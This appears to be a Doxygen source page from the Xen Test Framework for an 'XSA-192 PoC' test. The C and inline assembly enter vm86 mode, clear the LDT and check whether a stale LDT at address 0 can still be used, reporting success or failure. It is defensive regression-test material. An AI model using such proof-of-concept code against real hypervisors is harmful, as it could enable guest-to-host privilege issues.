Xen Test Framework
main.c
Go to the documentation of this file.
1
22#include <xtf.h>
23
24const char test_title[] = "XSA-192 PoC";
25
26/* IDT handler to return from vm86 mode. */
27void ret_from_vm86(void);
28asm(".align 16;"
29 "ret_from_vm86:"
30 "mov $" STR(__USER_DS) ", %edx;"
31 "mov %edx, %ds;"
32 "mov %edx, %es;"
33 "mov %edx, %fs;"
34 "mov %edx, %gs;"
35 "mov %dr0, %esp;"
36 "jmp .Ltss_ret_point;"
37 );
38
39static const struct xtf_idte idte = {
41 .cs = __KERN_CS,
42 .dpl = 3,
43};
44
45/* Virtual 8068 task. */
46env_tss vm86_tss __aligned(16) =
47{
49 .eip = 0x1000,
50 .cs = 0,
51 .ss = 0,
52
53 .esp0 = _u(&boot_stack[2 * PAGE_SIZE]),
54 .ss0 = __KERN_DS,
55 .ldtr = 0,
56
58};
59
60unsigned long user_ldt_use(void)
61{
62 exinfo_t fault = 0;
63
64 /* Try and use the possibly-loaded LDT at 0. */
65#define LDTE 0
66#define LDT_SEL ((LDTE << 3) | X86_SEL_LDT | 3)
67 user_desc *ldt = _p(zeroptr);
68
69 ldt[LDTE] = gdt[__USER_DS >> 3];
70 barrier();
71
72 /* Attempt to load %fs from the LDT. */
73 asm volatile ("1: mov %[sel], %%fs; 2:"
74 _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
75 : "+a" (fault)
76 : [sel] "r" (LDT_SEL),
77 [rec] "p" (ex_record_fault_eax));
78
79 return fault;
80}
81
82void test_main(void)
83{
84 /* Hook ret_from_vm86(). */
86
87 /* Create the vm86 TSS descriptor. */
89
90 /* Copy a stub to somewhere vm86 can actually reach. */
91 uint8_t insn_buf[] = { 0xcd, X86_VEC_AVAIL }; /* `int $X86_VEC_AVAIL` */
92 memcpy(_p(vm86_tss.eip), insn_buf, ARRAY_SIZE(insn_buf));
93
94 /*
95 * Explicitly clobber the current LDT. AMD leaks the LDT base/limit when
96 * loading a NULL selector, so load an explicit one first to be certain.
97 */
98 if ( vendor_is_amd )
99 {
101 lldt(GDTE_AVAIL1 << 3);
102 }
103 lldt(0);
104
105 /*
106 * Stash the stack in %dr0, and enter the vm86 task. It should exit
107 * immediately and jump back here.
108 */
109 asm volatile ("mov %%esp, %%dr0;"
110 "jmp $%c[vm86_tss_sel], $0;"
111 ".Ltss_ret_point:;"
112 :: [vm86_tss_sel] "i" (GDTE_AVAIL0 << 3));
113
114 /* "Context switch" to userspace to try and use the erroneous LDT. */
116
117 switch ( fault )
118 {
120 xtf_success("Success: LDT not valid\n");
121 break;
122
123 case 0:
124 xtf_failure("Failure: Leaked valid LDT at 0\n");
125 break;
126
127 default:
128 xtf_error("Error: Unexpected fault %08x\n", fault);
129 break;
130 }
131}
132
133/*
134 * Local variables:
135 * mode: C
136 * c-file-style: "BSD"
137 * c-basic-offset: 4
138 * tab-width: 4
139 * indent-tabs-mode: nil
140 * End:
141 */
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define vendor_is_amd
Definition: cpuid.h:34
static void lldt(unsigned int sel)
Definition: lib.h:337
uint8_t boot_stack[3 *PAGE_SIZE]
Definition: setup.c:21
#define barrier()
Definition: compiler.h:30
#define __aligned(x)
Definition: compiler.h:9
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
static void pack_tss_desc(user_desc *d, const env_tss *t)
Definition: desc.h:201
user_desc gdt[NR_GDT_ENTRIES]
static void pack_ldt_desc(user_desc *d, const user_desc *ldt, unsigned int limit)
Definition: desc.h:212
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
int xtf_set_idte(unsigned int vector, const struct xtf_idte *idte)
Set up an IDT Entry, in a guest agnostic way.
Definition: traps.c:73
#define X86_VEC_AVAIL
Available for test use.
Definition: idt.h:20
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
#define ARRAY_SIZE(a)
Definition: lib.h:8
static unsigned long exec_user(unsigned long(*fn)(void))
Definition: lib.h:62
#define memcpy(d, s, n)
Definition: libc.h:36
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
#define GP
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define PAGE_SIZE
Definition: page.h:11
#define X86_SEL_RPL_MASK
Definition: processor.h:189
#define X86_EFLAGS_MBS
Definition: processor.h:8
#define X86_EFLAGS_IOPL
Definition: processor.h:17
#define X86_EFLAGS_VM
Definition: processor.h:20
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define GDTE_AVAIL0
Definition: segment.h:37
#define GDTE_AVAIL1
Definition: segment.h:38
__UINT8_TYPE__ uint8_t
Definition: stdint.h:14
A guest agnostic represention of IDT information.
Definition: idt.h:27
unsigned long addr
Definition: idt.h:28
char zeroptr[]
An array which the linker resolves to 0.
#define X86_TSS_INVALID_IO_BITMAP
Definition: x86-tss.h:66
void ret_from_vm86(void)
unsigned long user_ldt_use(void)
Definition: main.c:60
#define LDT_SEL
env_tss vm86_tss
Definition: main.c:46
#define LDTE
static const struct xtf_idte idte
Definition: main.c:39